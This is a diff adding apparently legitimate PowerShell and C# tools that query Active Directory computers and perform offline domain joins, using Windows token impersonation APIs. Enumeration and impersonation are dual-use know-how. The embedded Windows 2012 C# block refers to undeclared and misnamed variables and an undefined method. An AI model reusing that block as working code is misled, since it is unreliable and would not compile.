diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..07c3aa8c --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,19 @@ +{ + // The number of spaces a tab is equal to. This setting is overriden + // based on the file contents when `editor.detectIndentation` is true. + "editor.tabSize": 4, + // Insert spaces when pressing Tab. This setting is overriden + // based on the file contents when `editor.detectIndentation` is true. + "editor.insertSpaces": true, + // When opening a file, `editor.tabSize` and `editor.insertSpaces` + // will be detected based on the file contents. + "editor.detectIndentation": false, + + "editor.rulers": [ + 80 + ], + + "editor.renderWhitespace": "all", + + "files.trimTrailingWhitespace": true +} \ No newline at end of file diff --git a/AD-COMPUTER-Get-DomainComputer/Get-DomainComputer.ps1 b/AD-COMPUTER-Get-DomainComputer/Get-DomainComputer.ps1 new file mode 100644 index 00000000..aa63e156 --- /dev/null +++ b/AD-COMPUTER-Get-DomainComputer/Get-DomainComputer.ps1 @@ -0,0 +1,202 @@ +Function Get-DomainComputer { +<# +.SYNOPSIS + The Get-DomainComputer function allows you to get information from an Active Directory Computer object using ADSI. + +.DESCRIPTION + The Get-DomainComputer function allows you to get information from an Active Directory Computer object using ADSI. + You can specify: how many result you want to see, which credentials to use and/or which domain to query. + +.PARAMETER ComputerName + Specifies the name(s) of the Computer(s) to query + +.PARAMETER SizeLimit + Specifies the number of objects to output. Default is 100. + +.PARAMETER DomainDN + Specifies the path of the Domain to query. + Examples: "FX.LAB" + "DC=FX,DC=LAB" + "Ldap://FX.LAB" + "Ldap://DC=FX,DC=LAB" + +.PARAMETER Credential + Specifies the alternate credentials to use. + +.EXAMPLE + Get-DomainComputer + + This will show all the computers in the current domain + +.EXAMPLE + Get-DomainComputer -ComputerName "Workstation001" + + This will query information for the computer Workstation001. + +.EXAMPLE + Get-DomainComputer -ComputerName "Workstation001","Workstation002" + + This will query information for the computers Workstation001 and Workstation002. + +.EXAMPLE + Get-Content -Path c:\WorkstationsList.txt | Get-DomainComputer + + This will query information for all the workstations listed inside the WorkstationsList.txt file. + +.EXAMPLE + Get-DomainComputer -ComputerName "Workstation0*" -SizeLimit 10 -Verbose + + This will query information for computers starting with 'Workstation0', but only show 10 results max. + The Verbose parameter allow you to track the progression of the script. + +.EXAMPLE + Get-DomainComputer -ComputerName "Workstation0*" -SizeLimit 10 -Verbose -DomainDN "DC=FX,DC=LAB" -Credential (Get-Credential -Credential FX\Administrator) + + This will query information for computers starting with 'Workstation0' from the domain FX.LAB with the account FX\Administrator. + Only show 10 results max and the Verbose parameter allows you to track the progression of the script. + +.NOTES + NAME: FUNCT-AD-COMPUTER-Get-DomainComputer.ps1 + AUTHOR: Francois-Xavier CAT + DATE: 2013/10/26 + WWW: www.lazywinadmin.com + TWITTER: @lazywinadmin + + VERSION HISTORY: + 1.0 2013.10.26 + Initial Version +#> + + [CmdletBinding()] + PARAM( + [Parameter( + ValueFromPipelineByPropertyName=$true, + ValueFromPipeline=$true)] + [Alias("Computer")] + [String[]]$ComputerName, + + [Alias("ResultLimit","Limit")] + [int]$SizeLimit='100', + + [Parameter(ValueFromPipelineByPropertyName=$true)] + [Alias("Domain")] + [String]$DomainDN=$(([adsisearcher]"").Searchroot.path), + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + + )#PARAM + + PROCESS{ + IF ($ComputerName){ + Write-Verbose -Message "One or more ComputerName specified" + FOREACH ($item in $ComputerName){ + TRY{ + # Building the basic search object with some parameters + Write-Verbose -Message "COMPUTERNAME: $item" + $Searcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' -ErrorVariable ErrProcessNewObjectSearcher + $Searcher.Filter = "(&(objectCategory=Computer)(name=$item))" + $Searcher.SizeLimit = $SizeLimit + $Searcher.SearchRoot = $DomainDN + + # Specify a different domain to query + IF ($PSBoundParameters['DomainDN']){ + IF ($DomainDN -notlike "LDAP://*") {$DomainDN = "LDAP://$DomainDN"}#IF + Write-Verbose -Message "Different Domain specified: $DomainDN" + $Searcher.SearchRoot = $DomainDN}#IF ($PSBoundParameters['DomainDN']) + + # Alternate Credentials + IF ($PSBoundParameters['Credential']) { + Write-Verbose -Message "Different Credential specified: $($Credential.UserName)" + $Domain = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDN,$($Credential.UserName),$($Credential.GetNetworkCredential().password) -ErrorAction 'Stop' -ErrorVariable ErrProcessNewObjectCred + $Searcher.SearchRoot = $Domain}#IF ($PSBoundParameters['Credential']) + + # Querying the Active Directory + Write-Verbose -Message "Starting the ADSI Search..." + FOREACH ($Computer in $($Searcher.FindAll())){ + Write-Verbose -Message "$($Computer.properties.name)" + New-Object -TypeName PSObject -ErrorAction 'Continue' -ErrorVariable ErrProcessNewObjectOutput -Property @{ + "Name" = $($Computer.properties.name) + "DNShostName" = $($Computer.properties.dnshostname) + "Description" = $($Computer.properties.description) + "OperatingSystem"=$($Computer.Properties.operatingsystem) + "WhenCreated" = $($Computer.properties.whencreated) + "DistinguishedName" = $($Computer.properties.distinguishedname)}#New-Object + }#FOREACH $Computer + + Write-Verbose -Message "ADSI Search completed" + }#TRY + CATCH{ + Write-Warning -Message ('{0}: {1}' -f $item, $_.Exception.Message) + IF ($ErrProcessNewObjectSearcher){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the searcher object"} + IF ($ErrProcessNewObjectCred){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the alternate credential object"} + IF ($ErrProcessNewObjectOutput){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the output object"} + }#CATCH + }#FOREACH $item + + + }#IF $ComputerName + ELSE { + Write-Verbose -Message "No ComputerName specified" + TRY{ + # Building the basic search object with some parameters + Write-Verbose -Message "List All object" + $Searcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' -ErrorVariable ErrProcessNewObjectSearcherALL + $Searcher.Filter = "(objectCategory=Computer)" + $Searcher.SizeLimit = $SizeLimit + + # Specify a different domain to query + IF ($PSBoundParameters['DomainDN']){ + $DomainDN = "LDAP://$DomainDN" + Write-Verbose -Message "Different Domain specified: $DomainDN" + $Searcher.SearchRoot = $DomainDN}#IF ($PSBoundParameters['DomainDN']) + + # Alternate Credentials + IF ($PSBoundParameters['Credential']) { + Write-Verbose -Message "Different Credential specified: $($Credential.UserName)" + $DomainDN = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDN, $Credential.UserName,$Credential.GetNetworkCredential().password -ErrorAction 'Stop' -ErrorVariable ErrProcessNewObjectCredALL + $Searcher.SearchRoot = $DomainDN}#IF ($PSBoundParameters['Credential']) + + # Querying the Active Directory + Write-Verbose -Message "Starting the ADSI Search..." + FOREACH ($Computer in $($Searcher.FindAll())){ + TRY{ + Write-Verbose -Message "$($Computer.properties.name)" + New-Object -TypeName PSObject -ErrorAction 'Continue' -ErrorVariable ErrProcessNewObjectOutputALL -Property @{ + "Name" = $($Computer.properties.name) + "DNShostName" = $($Computer.properties.dnshostname) + "Description" = $($Computer.properties.description) + "OperatingSystem"=$($Computer.Properties.operatingsystem) + "WhenCreated" = $($Computer.properties.whencreated) + "DistinguishedName" = $($Computer.properties.distinguishedname)}#New-Object + }#TRY + CATCH{ + Write-Warning -Message ('{0}: {1}' -f $Computer, $_.Exception.Message) + IF ($ErrProcessNewObjectOutputALL){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the output object"} + } + }#FOREACH $Computer + + Write-Verbose -Message "ADSI Search completed" + + }#TRY + + CATCH{ + Write-Warning -Message "Something Wrong happened" + IF ($ErrProcessNewObjectSearcherALL){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the searcher object"} + IF ($ErrProcessNewObjectCredALL){Write-Warning -Message "PROCESS BLOCK - Error during the creation of the alternate credential object"} + + }#CATCH + }#ELSE + }#PROCESS + END{Write-Verbose -Message "Script Completed"} +}#function + +#Get-Domaincomputer +#Get-Domaincomputer -ComputerName "LAB1*" -SizeLimit 5 +#Get-Domaincomputer -Verbose -DomainDN 'DC=FX,DC=LAB' -ComputerName LAB1* -Credential (Get-Credential -Credential "FX.LAB\Administrator") +#Get-Domaincomputer -Verbose -DomainDN 'FX.LAB' -ComputerName LAB1* -Credential (Get-Credential -Credential "FX.LAB\FXtest") +#Get-Domaincomputer -DomainDN 'FX.LAB' -ComputerName LAB1* -Credential (Get-Credential -Credential "FX.LAB\Administrator") +#Get-Domaincomputer -DomainDN 'FX.LAB' -ComputerName LAB1* +#Get-Domaincomputer -DomainDN 'LDAP://FX.LAB' -ComputerName LAB1* +#Get-Domaincomputer -DomainDN 'LDAP://DC=FX,DC=LAB' -ComputerName LAB1* \ No newline at end of file diff --git a/AD-COMPUTER-New-ADDomainJoin/New-ADDomainJoin.ps1 b/AD-COMPUTER-New-ADDomainJoin/New-ADDomainJoin.ps1 new file mode 100644 index 00000000..b2335fcb --- /dev/null +++ b/AD-COMPUTER-New-ADDomainJoin/New-ADDomainJoin.ps1 @@ -0,0 +1,716 @@ +function New-ADDomainJoin { + <# +.Synopsis + Perform offline domain join in c#/PowerShell without djoin.exe +.Description + Perform offline domain join in c#/PowerShell without djoin.exe + This will create an object in active directory and output the blob needed to join the machine offline + + If needed, you can use the function New-DjoinFile to recreate the file consumed by djoin.exe + https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile +.Parameter machinename + Specify the machinename +.Parameter domain + Specify the domain name +.Parameter credential + Specify credential +.Parameter machineaccountou + Specify the organizational unit in Active Directory where the machine account should be placed. +.Parameter dcname + Specify the Domain Controller +.Example + $MyAccount = 'MyDomain\MyAccount' + $Passw = ConvertTo-SecureString -String '' -AsplainText -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($MyAccount,$Passw) + + $Splatting = @{ + domain = 'mydomain.com' + machinename = 'testmachine' + machineaccountou = 'OU=test,DC=mydomain,DC=com' + dcname = 'dc01.mydomain.com' + } + + New-ADDomainJoin -Credential $credential @splatting + +.Notes + Version History + 1.0 | 2019/01/08 | Francois-Xavier Cat + Initial version based on 'WinPENanoDomainJoin' https://gist.github.com/Ryan2065/79838b78643d2311d60cb6147e3b87bf + Documentations + Window 7/ Windows 2008 function https://docs.microsoft.com/en-us/windows/desktop/api/lmjoin/nf-lmjoin-netprovisioncomputeraccount + Windows 8. / 2012 function https://docs.microsoft.com/en-us/windows/desktop/api/lmjoin/nf-lmjoin-netcreateprovisioningpackage + Offline Domain Join documentation 2008 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd392267(v=ws.10) + + Todo + Add support for non dc specified + Add support for non credential specified +.link + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM( + [Parameter(Mandatory = $true)] + $machinename, + + [Parameter(Mandatory = $true)] + $domain, + + [Alias("RunAs")] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + $machineaccountou = $null, + + $dcname + ) + Try { + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand + + # Detect OS + $OSVersion = [Environment]::OSVersion + $OSVersionMajorMinor = "$($OSVersion.version.major).$($OSVersion.version.minor)" + Write-Verbose -Message "[$FunctionName] OS detected - $OSVersionMajorMinor" + if ($OSVersionMajorMinor -lt 6.2) { $CodeToUse = 'W2008' } + else { $CodeToUse = 'W2012' } + + # W2008 + Write-Verbose -Message "[$FunctionName] Declare code for Windows Server 2008/Windows 7" + $source2008 = @' + using System; + using System.Security.Principal; + using System.Runtime.InteropServices; + + namespace Djoin + { + public class Kernel32 + { + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern int GetLastError(); + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern void CloseHandle(IntPtr existingTokenHandle); + } + + public class Netapi32 + { + [DllImport("netapi32.dll", EntryPoint = "NetProvisionComputerAccount", SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)] + public static extern int NetProvisionComputerAccount( + string lpDomain, + string lpMachineName, + string lpMachineAccountOU, + string lpDcName, + int dwOptions, + IntPtr pProvisionBinData, + IntPtr pdwProvisionBinDataSize, + [MarshalAs(UnmanagedType.LPWStr)] + out string pProvisionTextData); + } + + public class AdvApi32 + { + [DllImport("advapi32.DLL", SetLastError = true)] + public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken); + [DllImport("advapi32.dll", SetLastError = true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + public enum LogonTypes + { + /// + /// This logon type is intended for users who will be interactively using the computer, such as a user being logged on + /// by a terminal server, remote shell, or similar process. + /// This logon type has the additional expense of caching logon information for disconnected operations; + /// therefore, it is inappropriate for some client/server applications, + /// such as a mail server. + /// + LOGON32_LOGON_INTERACTIVE = 2, + + /// + /// This logon type is intended for high performance servers to authenticate plaintext passwords. + + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_NETWORK = 3, + + /// + /// This logon type is intended for batch servers, where processes may be executing on behalf of a user without + /// their direct intervention. This type is also for higher performance servers that process many plaintext + /// authentication attempts at a time, such as mail or Web servers. + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_BATCH = 4, + + /// + /// Indicates a service-type logon. The account provided must have the service privilege enabled. + /// + LOGON32_LOGON_SERVICE = 5, + + /// + /// This logon type is for GINA DLLs that log on users who will be interactively using the computer. + /// This logon type can generate a unique audit record that shows when the workstation was unlocked. + /// + LOGON32_LOGON_UNLOCK = 7, + + /// + /// This logon type preserves the name and password in the authentication package, which allows the server to make + /// connections to other network servers while impersonating the client. A server can accept plaintext credentials + /// from a client, call LogonUser, verify that the user can access the system across the network, and still + /// communicate with other servers. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NETWORK_CLEARTEXT = 8, + + /// + /// This logon type allows the caller to clone its current token and specify new credentials for outbound connections. + /// The new logon session has the same local identifier but uses different credentials for other network connections. + /// NOTE: This logon type is supported only by the LOGON32_PROVIDER_WINNT50 logon provider. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NEW_CREDENTIALS = 9, + } + + public enum LogonProvider + { + /// + /// Use the standard logon provider for the system. + /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name + /// is not in UPN format. In this case, the default provider is NTLM. + /// NOTE: Windows 2000/NT: The default security provider is NTLM. + /// + LOGON32_PROVIDER_DEFAULT = 0, + LOGON32_PROVIDER_WINNT35 = 1, + LOGON32_PROVIDER_WINNT40 = 2, + LOGON32_PROVIDER_WINNT50 = 3 + } + + public enum SecurityImpersonationLevel : int + { + /// + /// The server process cannot obtain identification information about the client, + /// and it cannot impersonate the client. It is defined with no value given, and thus, + /// by ANSI C rules, defaults to a value of zero. + /// + SecurityAnonymous = 0, + + /// + /// The server process can obtain information about the client, such as security identifiers and privileges, + /// but it cannot impersonate the client. This is useful for servers that export their own objects, + /// for example, database products that export tables and views. + /// Using the retrieved client-security information, the server can make access-validation decisions without + /// being able to use other services that are using the client's security context. + /// + SecurityIdentification = 1, + + /// + /// The server process can impersonate the client's security context on its local system. + /// The server cannot impersonate the client on remote systems. + /// + SecurityImpersonation = 2, + + /// + /// The server process can impersonate the client's security context on remote systems. + /// NOTE: Windows NT: This impersonation level is not supported. + /// + SecurityDelegation = 3, + } + + [DllImport("advapi32.DLL")] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); //handle to token for logged-on user + + [DllImport("advapi32.DLL")] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public extern static bool CloseHandle(IntPtr hToken); + + } + + public class DomainJoin + { + public static int GetDomainJoin(string username,string password,string Domain,string Machine,string OU,string DC,out string DomainJoinBlob) + { + + int Result = -1; + + //define the handles + IntPtr existingTokenHandle = IntPtr.Zero; + IntPtr duplicateTokenHandle = IntPtr.Zero; + + //split domain and name + String[] splitUserName = username.Split('\\'); + string userdomain = splitUserName[0]; + username = splitUserName[1]; + + try + { + //get a security token + Console.WriteLine("Before Calling AdvApi32.LogonUser"); + + bool isOkay = AdvApi32.LogonUser(username, userdomain, password, + (int)AdvApi32.LogonTypes.LOGON32_LOGON_NEW_CREDENTIALS, + (int)AdvApi32.LogonProvider.LOGON32_PROVIDER_WINNT50, + out existingTokenHandle); + + Console.WriteLine("After Calling AdvApi32.LogonUser"); + + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + throw new Exception("LogonUser Failed: " + lastWin32Error + " - " + lastError); + } + + // copy the token + Console.WriteLine("Before Calling AdvApi32.DuplicateToken"); + + isOkay = AdvApi32.DuplicateToken(existingTokenHandle, + (int)AdvApi32.SecurityImpersonationLevel.SecurityImpersonation, + out duplicateTokenHandle); + + //Console.WriteLine("After Calling AdvApi32.DuplicateToken"); + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + Kernel32.CloseHandle(existingTokenHandle); + throw new Exception("DuplicateToken Failed: " + lastWin32Error + " - " + lastError); + } + + // create an identity from the token + Console.WriteLine("Before Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle); + Console.WriteLine("After Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + + String blob = String.Empty; + + Console.WriteLine("Calling NetProvisionComputerAccount"); + + Result = Netapi32.NetProvisionComputerAccount(Domain,Machine,OU,DC,2,IntPtr.Zero,IntPtr.Zero,out blob); + + DomainJoinBlob = blob; + + Console.WriteLine("Domain Blob: {0}", blob); + Console.WriteLine("Before Calling RevertToSelf"); + + if(AdvApi32.RevertToSelf()) + { + Console.WriteLine("RevertToSelf Succeeded"); + } + else + { + Console.WriteLine("RevertToSelf Failed"); + } + } + finally + { + //free all handles + if (existingTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(existingTokenHandle); + } + if (duplicateTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(duplicateTokenHandle); + } + } + + return Result; + } + + static void Main(string[] args) + { + Console.WriteLine("MAIN CALLED"); + Console.ReadLine(); + } + } + } +'@ + + # W2012 + Write-Verbose -Message "[$FunctionName] Declare code for Windows Server 2012/Windows 8" + $source2012 = @' +using System; +using System.Security.Principal; +using System.Runtime.InteropServices; + +namespace Djoin +{ + public class Kernel32 + { + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern int GetLastError(); + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern void CloseHandle(IntPtr existingTokenHandle); + + } + + public class Netapi32 + { + + [System.Runtime.InteropServices.StructLayoutAttribute(System.Runtime.InteropServices.LayoutKind.Sequential)] + public class NetsetupProvisoningParams + + { + + // Version 1 fields + + public uint dwVersion; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpDomain; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpHostName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpMachineAccountOU; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpDcName; + + + + public uint dwProvisionOptions; + + + + //[MarshalAs(UnmanagedType.LPArray, ArraySubType=UnmanagedType.LPWStr, SizeParamIndex=7)] + + //public string[] aCertTemplateNames; + + public IntPtr aCertTemplateNames; // hack until correct MarshalAs setting is figured out + + public uint cCertTemplateNames; + + + + //[MarshalAs(UnmanagedType.LPWStr)] + + //public string[] aMachinePolicyNames; + + public IntPtr aMachinePolicyNames; // hack until correct MarshalAs setting is figured out + + public uint cMachinePolicyNames; + + + + //[MarshalAs(UnmanagedType.LPWStr)] + + //public string[] aMachinePolicyPaths; + + public IntPtr aMachinePolicyPaths; // hack until correct MarshalAs setting is figured out + + public uint cMachinePolicyPaths; + + + + // Version 2 fields + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpNetbiosName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpSiteName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpPrimaryDNSDomain; + + } + + [DllImport("Netapi32.dll", EntryPoint = "NetCreateProvisioningPackage", SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)] + + public static extern int NetCreateProvisioningPackage ( + + NetsetupProvisoningParams pProvisioningParams, + + //[MarshalAs(UnmanagedType.LPArray, ArraySubType=UnmanagedType.U1, SizeParamIndex=2)] + + IntPtr ppPackageBinData, + + IntPtr pdwPackageBinDataSize, + + //[MarshalAs(UnmanagedType.LPWStr)] + + //working - IntPtr ppPackageText // should be out - not needed for now + [MarshalAs(UnmanagedType.LPWStr)] + out string ppPackageText // should be out - not needed for now + ); + + } + + public class AdvApi32 + { + [DllImport("advapi32.DLL", SetLastError = true)] + public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + public enum LogonTypes + { + /// + /// This logon type is intended for users who will be interactively using the computer, such as a user being logged on + /// by a terminal server, remote shell, or similar process. + /// This logon type has the additional expense of caching logon information for disconnected operations; + /// therefore, it is inappropriate for some client/server applications, + /// such as a mail server. + /// + LOGON32_LOGON_INTERACTIVE = 2, + + /// + /// This logon type is intended for high performance servers to authenticate plaintext passwords. + + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_NETWORK = 3, + + /// + /// This logon type is intended for batch servers, where processes may be executing on behalf of a user without + /// their direct intervention. This type is also for higher performance servers that process many plaintext + /// authentication attempts at a time, such as mail or Web servers. + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_BATCH = 4, + + /// + /// Indicates a service-type logon. The account provided must have the service privilege enabled. + /// + LOGON32_LOGON_SERVICE = 5, + + /// + /// This logon type is for GINA DLLs that log on users who will be interactively using the computer. + /// This logon type can generate a unique audit record that shows when the workstation was unlocked. + /// + LOGON32_LOGON_UNLOCK = 7, + + /// + /// This logon type preserves the name and password in the authentication package, which allows the server to make + /// connections to other network servers while impersonating the client. A server can accept plaintext credentials + /// from a client, call LogonUser, verify that the user can access the system across the network, and still + /// communicate with other servers. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NETWORK_CLEARTEXT = 8, + + /// + /// This logon type allows the caller to clone its current token and specify new credentials for outbound connections. + /// The new logon session has the same local identifier but uses different credentials for other network connections. + /// NOTE: This logon type is supported only by the LOGON32_PROVIDER_WINNT50 logon provider. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NEW_CREDENTIALS = 9, + } + + public enum LogonProvider + { + /// + /// Use the standard logon provider for the system. + /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name + /// is not in UPN format. In this case, the default provider is NTLM. + /// NOTE: Windows 2000/NT: The default security provider is NTLM. + /// + LOGON32_PROVIDER_DEFAULT = 0, + LOGON32_PROVIDER_WINNT35 = 1, + LOGON32_PROVIDER_WINNT40 = 2, + LOGON32_PROVIDER_WINNT50 = 3 + } + + public enum SecurityImpersonationLevel : int + { + /// + /// The server process cannot obtain identification information about the client, + /// and it cannot impersonate the client. It is defined with no value given, and thus, + /// by ANSI C rules, defaults to a value of zero. + /// + SecurityAnonymous = 0, + + /// + /// The server process can obtain information about the client, such as security identifiers and privileges, + /// but it cannot impersonate the client. This is useful for servers that export their own objects, + /// for example, database products that export tables and views. + /// Using the retrieved client-security information, the server can make access-validation decisions without + /// being able to use other services that are using the client's security context. + /// + SecurityIdentification = 1, + + /// + /// The server process can impersonate the client's security context on its local system. + /// The server cannot impersonate the client on remote systems. + /// + SecurityImpersonation = 2, + + /// + /// The server process can impersonate the client's security context on remote systems. + /// NOTE: Windows NT: This impersonation level is not supported. + /// + SecurityDelegation = 3, + } + + [DllImport("advapi32.DLL")] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); //handle to token for logged-on user + + [DllImport("advapi32.DLL")] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public extern static bool CloseHandle(IntPtr hToken); + + } + + public class DomainJoin + { + public static string GetDomainJoin(String username,String password,String Domain,String Machine, String OU, String DC, out string DomainJoinBlob) + { + WindowsIdentity winId = WindowsIdentity.GetCurrent(); + //Console.WriteLine("Current User Identity : {0}", winId.Name); + //if (winId != null) + //{ + // if (string.Compare(winId.Name, username, true) == 0) + // { + // return null; + // } + //} + + //define the handles + IntPtr existingTokenHandle = IntPtr.Zero; + IntPtr duplicateTokenHandle = IntPtr.Zero; + + //split domain and name + String[] splitUserName = username.Split('\\'); + userdomain = splitUserName[0]; + username = splitUserName[1]; + + try + { + //get a security token + Console.WriteLine("Before Calling AdvApi32.LogonUser"); + + bool isOkay = AdvApi32.LogonUser(username, userdomain, password, + (int)AdvApi32.LogonTypes.LOGON32_LOGON_NEW_CREDENTIALS, + (int)AdvApi32.LogonProvider.LOGON32_PROVIDER_WINNT50, + out existingTokenHandle); + + Console.WriteLine("After Calling AdvApi32.LogonUser"); + + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + + throw new Exception("LogonUser Failed: " + lastWin32Error + " - " + lastError); + } + + // copy the token + Console.WriteLine("Before Calling AdvApi32.DuplicateToken"); + + isOkay = AdvApi32.DuplicateToken(existingTokenHandle, + (int)AdvApi32.SecurityImpersonationLevel.SecurityImpersonation, + out duplicateTokenHandle); + + Console.WriteLine("After Calling AdvApi32.DuplicateToken"); + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + Kernel32.CloseHandle(existingTokenHandle); + throw new Exception("DuplicateToken Failed: " + lastWin32Error + " - " + lastError); + } + // create an identity from the token + + + Console.WriteLine("Before Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle); + Console.WriteLine("After Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + Console.WriteLine("After AdvApi32.ImpersonateLoggedOnUser User Identity : {0}", winId.Name); + + Netapi32.NetsetupProvisoningParams provisioningParams = new Netapi32.NetsetupProvisoningParams(); + provisioningParams.dwVersion = 1; + provisioningParams.lpDomain = domain; + provisioningParams.lpHostName = machine; + provisioningParams.dwProvisionOptions = 2; // Reuse https://docs.microsoft.com/en-us/windows/desktop/api/lmjoin/nf-lmjoin-netprovisioncomputeraccount + provisioningParams.lpMachineAccountOU = OU; + provisioningParams.lpDcName = DC; + + //IntPtr blob = new IntPtr(); + //StringBuilder blob = new StringBuilder(); + String blob = String.Empty; + + //working - int result = Netapi32.NetCreateProvisioningPackage(provisioningParams, out a, out b, blob); + + int result = Netapi32.NetCreateProvisioningPackage(provisioningParams, IntPtr.Zero, IntPtr.Zero, out blob); + DomainJoinBlob = blob; + + //string str = Marshal.PtrToStringAuto(blobptr); + + + Console.WriteLine("Domain Blob: {0}", blob); + //Console.WriteLine("Before Calling WindowsIdentity(duplicateTokenHandle)"); + WindowsIdentity newId = new WindowsIdentity(duplicateTokenHandle); + + //Console.WriteLine("After Calling WindowsIdentity(duplicateTokenHandle)"); + + //Console.WriteLine("Before Calling newId.Impersonate()"); + + WindowsImpersonationContext impersonatedUser = newId.Impersonate(); + + + //Console.WriteLine("After Calling newId.Impersonate()"); + //Console.WriteLine("After Impersonation User Identity : {0}", winId.Name); + + //return impersonatedUser; + + return blob; + } + finally + { + + //Console.WriteLine("Inside Finally"); + //free all handles + if (existingTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(existingTokenHandle); + } + if (duplicateTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(duplicateTokenHandle); + } + } + } + + static void Main(string[] args) + { + Console.WriteLine("{0}",WinPE_DJoin(username: args[0],password: args[1], machinename:"NetSetup02")); + + Console.ReadLine(); + } + } +} +'@ + + switch ($CodeToUse) { + 'W2008' { + Write-Verbose -Message "[$FunctionName] Importing code for Windows Server 2008/Windows 7" + Add-Type -TypeDefinition $Source2008 -Language CSharp + } + default { + Write-Verbose -Message "[$FunctionName] Importing code for Windows Server 2012/Windows 8" + Add-Type -TypeDefinition $Source2012 -Language CSharp + } + } + + Write-Verbose -Message "[$FunctionName] Performing offline domain join...." + + $DomainJoinBlob = "" + [void]([Djoin.DomainJoin]::GetDomainJoin($($Credential.username), $($Credential.GetNetworkCredential().password), $domain, $machinename, $machineaccountou, $dcname, [ref]$DomainJoinBlob)) + + # return the blob + return $DomainJoinBlob + } + catch { + throw $_ + } +} \ No newline at end of file diff --git a/AD-COMPUTER-New-ADDomainJoin/djoin_2008.cs b/AD-COMPUTER-New-ADDomainJoin/djoin_2008.cs new file mode 100644 index 00000000..71839349 --- /dev/null +++ b/AD-COMPUTER-New-ADDomainJoin/djoin_2008.cs @@ -0,0 +1,245 @@ +using System; +using System.Security.Principal; +using System.Runtime.InteropServices; + +namespace Djoin +{ + public class Kernel32 + { + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern int GetLastError(); + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern void CloseHandle(IntPtr existingTokenHandle); + } + + public class Netapi32 + { + [DllImport("netapi32.dll", EntryPoint = "NetProvisionComputerAccount", SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)] + public static extern int NetProvisionComputerAccount( + string lpDomain, + string lpMachineName, + string lpMachineAccountOU, + string lpDcName, + int dwOptions, + IntPtr pProvisionBinData, + IntPtr pdwProvisionBinDataSize, + 